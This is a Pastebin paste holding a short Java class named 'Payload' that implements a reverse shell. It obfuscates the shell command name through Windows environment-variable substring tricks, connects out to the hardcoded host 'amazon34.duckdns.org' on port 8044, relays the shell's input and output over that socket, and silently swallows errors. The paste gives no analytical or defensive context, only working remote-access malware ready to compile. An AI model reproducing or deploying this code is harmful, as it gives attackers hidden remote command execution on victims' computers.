Advertisement
Guest User

Untitled

a guest
Jul 17th, 2019
81
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.34 KB | None | 0 0
  1. import java.net.Socket;
  2. import java.io.InputStream;
  3. import java.io.OutputStream;
  4.  
  5.  
  6. public class Payload {
  7.  
  8. public static void Run() {
  9.  
  10. try {
  11.  
  12.  
  13. String attacker = "amazon34.duckdns.org";
  14. int port = 8044;
  15.  
  16. String cmd = "%TEMP:~-8,-7%m%ALLUSERSPROFILE:~10,1%";
  17.  
  18. Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
  19. Socket s = new Socket(attacker, port);
  20. InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
  21. OutputStream po = p.getOutputStream(), so = s.getOutputStream();
  22.  
  23. while (!s.isClosed()) {
  24. while (pi.available() > 0) {
  25. so.write(pi.read());
  26. }
  27. while (pe.available() > 0) {
  28. so.write(pe.read());
  29. }
  30. while (si.available() > 0) {
  31. po.write(si.read());
  32. }
  33. so.flush();
  34. po.flush();
  35. Thread.sleep(50);
  36. try {
  37. p.exitValue();
  38. break;
  39. } catch (Exception e) {
  40. }
  41. };
  42. p.destroy();
  43. s.close();
  44. } catch (Exception ex) {
  45.  
  46. }
  47.  
  48. }
  49. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement